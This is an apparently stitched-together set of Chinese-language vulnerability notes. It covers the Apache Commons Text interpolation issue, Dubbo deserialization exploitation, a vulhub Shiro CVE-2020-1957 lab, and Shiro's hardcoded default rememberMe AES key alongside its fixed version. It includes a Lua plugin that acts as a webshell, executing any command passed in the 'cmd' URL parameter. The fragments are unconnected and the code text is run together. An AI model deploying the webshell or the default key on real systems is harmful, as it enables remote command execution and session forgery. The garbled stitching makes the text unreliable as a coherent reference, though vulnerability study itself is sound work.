Apache Commons Text 是一个低级库,用于执行各种文本操作,例如转义、计算字符串差异以及用通过插值器查找的值替换文本中的占位符。使用字符串替换功能时,一些可用的插值器可以触发网络访问或代码执行。这是有意的,但这也意味着如果应用程序在传递给替换的字符串中包含用户输入而未对其进行适当清理,则攻击者将允许攻击者触发这些插值器。
出于这个原因,Apache Commons Text 团队决定将配置更新为“默认情况下更安全”,从而减轻无法验证输入的影响,并且不会让攻击者访问这些插值器。但是,仍然建议用户谨慎对待不受信任的输入。
我们目前不知道有任何应用程序将不受信任的输入传递给替代者,因此在 Apache Commons Text 1.10.0 之前可能会受到此问题的影响。
此问题与Log4Shell (CVE-2021-44228)不同,因为在 Log4Shell 中,可以从日志消息正文中进行字符串插值,该正文通常包含不受信任的输入。在 Apache Common Text issue 中,相关方法明确用于执行字符串插值并明确记录在案,因此应用程序不太可能在没有适当验证的情况下无意中传递不受信任的输入。
之后对于加载的 class 调用 newInstance 进行实例化。这里首先会去调用 class 默认的 public 构造函数,如果无法访问则会去遍历所有的构造器,优先获取参数个数为 0 的构造函数并反射调用。
之后便是漏洞的一大利用点,它针对 HashMap 当中剩下的键值,先尝试获取 key 在实例化 class 当中对应 field 的 setter 方法(要求为单参数),如果可以获取到的话。会用和刚才相同的逻辑递归实例化参数值,并反射调用;如果获取不到 setter 方法,则直接反射设置 field 的值。
因此针对 raw.return 反序列化方式的利用是通过 Map 的方式来传入利用 class,可利用 class 的位置有 3 个:
if (attach) { // returns current version of Response to consumer side. result.getObjectAttachments().put(DUBBO_VERSION_KEY, Version.getProtocolVersion()); out.writeAttachments(result.getObjectAttachments()); } }
cd vulhub/shiro/CVE-2020-1957 docker-compose up -d
环境启动后,访问http://x.x.x.x:8080即可查看首页:
这个应用中对URL权限的配置如下:
1 2 3 4 5 6 7 8
@Bean public ShiroFilterChainDefinition shiroFilterChainDefinition() { DefaultShiroFilterChainDefinitionchainDefinition=newDefaultShiroFilterChainDefinition(); chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form chainDefinition.addPathDefinition("/logout", "logout"); chainDefinition.addPathDefinition("/admin/**", "authc"); return chainDefinition; }
local _M = {} \n function_M.access(conf, ctx)//在access阶段进行处理,检查如果达到的不健康次数超过了配置的最大次数,则就被break掉。这里没找到看得懂的资料。 localos = require('os')//加载os模块,用于进行文件操作 local args = assert(ngx.req.get_uri_args()) //assert()是断言,类似于try(),这里是获取uri中给的参数。 local f = assert(io.popen(args.cmd, 'r'))//io.popen()用于执行系统命令,'r'是模式 local s = assert(f:read('*a'))//读取全部内容 ngx.say(s)//输出,还有一种方法是ngx.print(),但两者有区别 f:close() end return _M
package org.apache.shiro.mgt; publicabstractclassAbstractRememberMeManagerimplementsRememberMeManager { /** * private inner log instance. */ privatestaticfinalLoggerlog= LoggerFactory.getLogger(AbstractRememberMeManager.class); /** * The following Base64 string was generated by auto-generating an AES Key: * <pre> * AesCipherService aes = new AesCipherService(); * byte[] key = aes.generateNewKey().getEncoded(); * String base64 = Base64.encodeToString(key); * </pre> * The value of 'base64' was copied-n-pasted here: */ privatestaticfinalbyte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); /** * Serializer to use for converting PrincipalCollection instances to/from byte arrays */ private Serializer<PrincipalCollection> serializer; /** * Cipher to use for encrypting/decrypting serialized byte arrays for added security */ private CipherService cipherService; /** * Cipher encryption key to use with the Cipher when encrypting data */ privatebyte[] encryptionCipherKey; /** * Cipher decryption key to use with the Cipher when decrypting data */ privatebyte[] decryptionCipherKey; /** * Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and * an {@link AesCipherService} as the {@link #getCipherService() cipherService}. */ publicAbstractRememberMeManager() { this.serializer = newDefaultSerializer<PrincipalCollection>(); this.cipherService = newAesCipherService(); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); }
package org.apache.shiro.mgt; publicabstractclassAbstractRememberMeManagerimplementsRememberMeManager { /** * Cipher encryption key to use with the Cipher when encrypting data */ privatebyte[] encryptionCipherKey; /** * Cipher decryption key to use with the Cipher when decrypting data */ privatebyte[] decryptionCipherKey; /** * Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and * an {@link AesCipherService} as the {@link #getCipherService() cipherService}. */ publicAbstractRememberMeManager() { this.serializer = newDefaultSerializer<PrincipalCollection>(); AesCipherServicecipherService=newAesCipherService(); this.cipherService = cipherService; setCipherKey(cipherService.generateNewKey().getEncoded()); } publicvoidsetCipherKey(byte[] cipherKey) { //Since this method should only be used in symmetric ciphers //(where the enc and dec keys are the same), set it on both: setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); }